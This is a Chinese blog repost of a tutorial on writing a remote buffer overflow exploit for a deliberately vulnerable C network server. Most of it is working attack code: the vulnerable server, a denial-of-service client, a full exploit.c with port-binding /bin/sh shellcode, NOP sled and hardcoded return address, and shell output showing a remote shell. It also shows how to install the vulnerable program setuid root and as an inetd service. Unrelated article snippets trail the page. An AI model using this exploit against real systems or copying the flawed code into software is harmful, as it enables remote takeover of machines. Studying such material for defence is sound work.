怎样写远程缓冲区溢出漏洞利用程序_weixin_30906671的博客-程序员宅基地

怎样写远程缓冲区溢出漏洞利用程序

在此,我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞,这样将能得到一个远程 shell。

一、理解有漏洞程序:
--------------------------------------- vulnerable.c ---------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}

---------------------------------------------- EOF------------------------------------------------------

下面将编译并运行该程序:
[email protected]:~/ > gcc vulnerable.c -o vulnerable
[email protected]:~/ > ./vulnerable 8080
../vulnerable 8080 说明你能在8080端口运行该项服务
[email protected]~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
现在该程序监听8080端口并等待连接。
[email protected]:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is "^]".
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
[email protected]:~/ >
看来没有什么破绽,但是这时gdb会在屏幕上显示:
client from 127.0.0.1 0xbffff28c (访地址因不同机器类型而异)

二、令有漏洞程序发生缓冲区溢出

重新连上该服务,为 "My name is:..." 命令行提供超过1024个字节长的输入:
[email protected]:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is "^]".
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

连接将中断,让我们看看gdb的输出:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时,该程序会试图将字符串name[2048]拷入缓冲[1024]。因此,由于 name[2048] 大于1024字节,name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重写了整个返回地址后,函数将会跳转到错误的地址 0x41414141,从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具:
--------------------------------- dos.c ---------------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn"t connect so server\n");
exit(0);
}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)
buffer[i] = "A";
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
--------------------------------------------- EOF --------------------

三、找到返回地址:

打开gdb寻找 esp:
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---

现在我们已经知道重写了整个缓冲,让我们试试几个地址

四、exploit代码结构

1、 找到 esp,然后找一个能绑定 shell 到端口的 sehllcode.
2、创建一个大于1024字节的缓冲
2、 用 NOP 填滿整个缓冲:
memset(buffer, 0x90, 1064);
3、将 shellcode 拷入缓冲
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
4、在缓冲中消除零字节:
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在缓冲未端拷贝返回地址:
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer[i]) = RET;
// RET is the returnaddress we want to use... #define in the header
}
6、在准备好的缓冲未端加入一个 \0 零字节:
buffer[1063] = 0x0;
现在可以把它发送给有漏洞机器了。
----------------------------------------- exploit.c ----------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
* So you should get an output, ok you’ve got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
----------------------------------------- EOF-------------------------------------
五、使用 exploit:

[email protected]~/ > gcc exploit.c -o exploit
[email protected]~/ > ./exploit <host> <port>
如果你得到了正确的返回地址,它将管用。
[email protected]~/ > telnet <host> 3879
id;
uid=500(user) gid=500(user) groups=500(user)
可以看出,我们成功了。

六、取得 root 权限:

[email protected]~/ > su
password: ******
[email protected]~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
[email protected]~/ > chown root vulnerable
[email protected]~/ > chmod 6755 vulnerable
[email protected]~/ > ./vulnerable <port>

七、进入 inetd.conf 中定义的服务

将有漏洞程序拷入 /usr/bin/
[email protected]~/ > cp vulnerable /usr/bin/vulnerable
[email protected]~/ > vi /etc/services
加入下面的信息:
vulnerable 1526/tcp # defining port for our server program
[email protected]~/ > vi /etc/inetd.conf
加入下面的信息:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重启 inetd:
[email protected]~/ > killall -HUP inetd

八、可能出现的问题:

如果 exploit 无法使用,请考虑返回地址,用gdb进行测试:
[email protected]~/ > gdb vulnerable
......
(gdb) run <port>

转载于:https://www.cnblogs.com/F4ncy/archive/2005/01/04/86137.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30906671/article/details/98768118

智能推荐

Oracle数据库的备份与规复_weixin_30257433的博客-程序员宅基地

滥觞:网海拾贝 ---- 当我们运用一个数据库时,总渴望数据库的内容是牢靠的、切确的,但因为计较机零碎的偏差(包孕呆板偏差、介质偏差、误使用等),数据库无意也可以遭到破损,这时怎样尽快规单数据就成为燃眉之急。假如往常对数据库做了备份,那么此时规单数据就显得很轻易。由此可见,做好数据库的备份是何等的重要,下面笔者就以ORACLE7为例,来讲演一下数据库的备份和规复。OR...

GNU风格 汇编语法总结_一口Linux的博客-程序员宅基地_gnu汇编

汇编源程序一般用于系统最基本的初始化:初始化堆栈指针、设置页表、操作 ARM的协处理器等。这些初始化工作完成后就可以跳转到C代码main函数中执行。1、 GNU汇编语言语句格式任何Linux汇编行都是如下结构:[:][} @commentinstruction:指令directive:伪操作pseudo-instruction:伪指令:标号, GNU汇编中,任何以冒号结尾的标识符都被认为是一个标号,而不一定非要在一行的开始。comment:语句的注释下面定义一个"add"的函数,最

FPAG学习笔记——I2C接口实现_星河带悦流的博客-程序员宅基地

I2C总线介绍  I2C总线是由Philips公司开发的一种简单、双向二线制同步串行总线。它只需要两根线即可在连接于总线上的器件之间传送信息。  主器件用于启动总线传送数据,并产生时钟以开放传送的器件,此时任何被寻址的器件均被认为是从器件.在总线上主和从、发和收的关系不是恒定的,而取决于此时数据传送方向。如果主机要发送数据给从器件,则主机首先寻址从器件,然后主动发送数据至从器件,最后由主机终止数据传送;如果主机要接收从器件的数据,首先由主器件寻址从器件.然后主机接收从器件发送的数据,最后由主机终止接收过

django 消息模块 (messages ) 的使用_Alvin__Yang的博客-程序员宅基地_django message用法

django 使用消息模块,要注意的是,返回的render_to_response 需要加上context_instance具体的:from django.contrib import messagesfrom django.shortcuts import render_to_response,RequestContextfrom django.template import

从客户端(hidXML="<FlexCell xml:space=...")中检测到有潜在危险的Request.Form值_weixin_30691871的博客-程序员宅基地

使用FlexCell生产报表,使用浏览器查看报表出现以下错误提示;解决方法解决方案一:修改浏览器为兼容模式解决方案二: 在.aspx文件头中加入这句: &lt;%@ Page validateRequest="false"%&gt; 解决方案三: 修改web.config文件: &lt;configuration&gt; &lt;system.web&gt; &...

mysql50521_MySQL5.5 安装mcafee mysql-audit插件 不成功_新德里的雨的博客-程序员宅基地

安装步骤还是比较简单的,只有几步:1)查看插件目录mysql&gt; SHOW GLOBAL VARIABLES LIKE 'plugin_dir';+---------------+--------------------+| Variable_name | Value |+---------------+--------------------+| plugin_di...

随便推点

hidesBottomBarWhenPushed的正确用法_weixin_34054866的博客-程序员宅基地

为什么80%的码农都做不了架构师?&gt;&gt;&gt; ...

2004计算机一级冲刺,2016年计算机一级MSOffice冲刺题及答案_文小刚的博客-程序员宅基地

2016年计算机一级MSOffice冲刺题及答案同学们在最后几天复习计算机等级考试时,要学会对自己所学知识进行查漏补缺,下面百分网小编为大家搜索整理了关于计算机一级MSOffice冲刺题及答案,欢迎参考练习,希望对大家备考有所帮助!想了解更多相关信息请持续关注我们应届毕业生考试网。1.下列哪些滤镜只对RGB滤镜起作用:BA. 马赛克   B. 光照效果   C. 波纹   D. 浮雕效果2.在使用...

python 使用 openpyxl 模块控制 excel 常用操作_菜猫小六的博客-程序员宅基地

title: python 使用 openpyxl 模块控制 excel 常用操作tags: [&#39;openpyxl&#39;,&#39;python&#39;,&#39;excel&#39;]date: 2021-05-10categories: &quot;搬砖&quot;使用的库openpyxlimport openpyxl作用的对象文件后缀名为 .xlsxexcel几个操作单元工作簿 workbook表单 wooksheet行.

oracle direct-load,sql*loader中Direct参数如何使用?_何欣颜的博客-程序员宅基地

SQL&gt; create table test_sqlldr_direct nologging as selectOWNER,OBJECT_NAME ,SUBOBJECT_NAME ,OBJECT_ID , DATA_OBJECT_ID , OBJECT_TYPE from all_objects where rownum &lt; 1;表已创建。...

【源码】JUC —— LinkedBlockingQueue 浅析_小水牛...的博客-程序员宅基地

【源码】JUC —— LinkedBlockingQueue 浅析前言LinkedBlockingQueueNode属性、构造方法add(E e) &amp; offer(E e)put(E e) &amp; offer(E e, long timeout, TimeUnit unit)enqueue(Node node)remove() &amp; poll()take() &amp; poll(long timeout, TimeUnit unit)前言LinkedBlockingQueue,基于

dw显示云服务器的数据库,dw如何与测试服务器连接数据库_weixin_39895167的博客-程序员宅基地

dw如何与测试服务器连接数据库 内容精选换一换华为云帮助中心,为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档,帮助您快速上手使用华为云服务。华为云帮助中心,为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档,帮助您快速上手使用华为云服务。dw如何与测试服务器连接数据库 相关内容我们强烈建议您使用...

推荐文章

热门文章

相关标签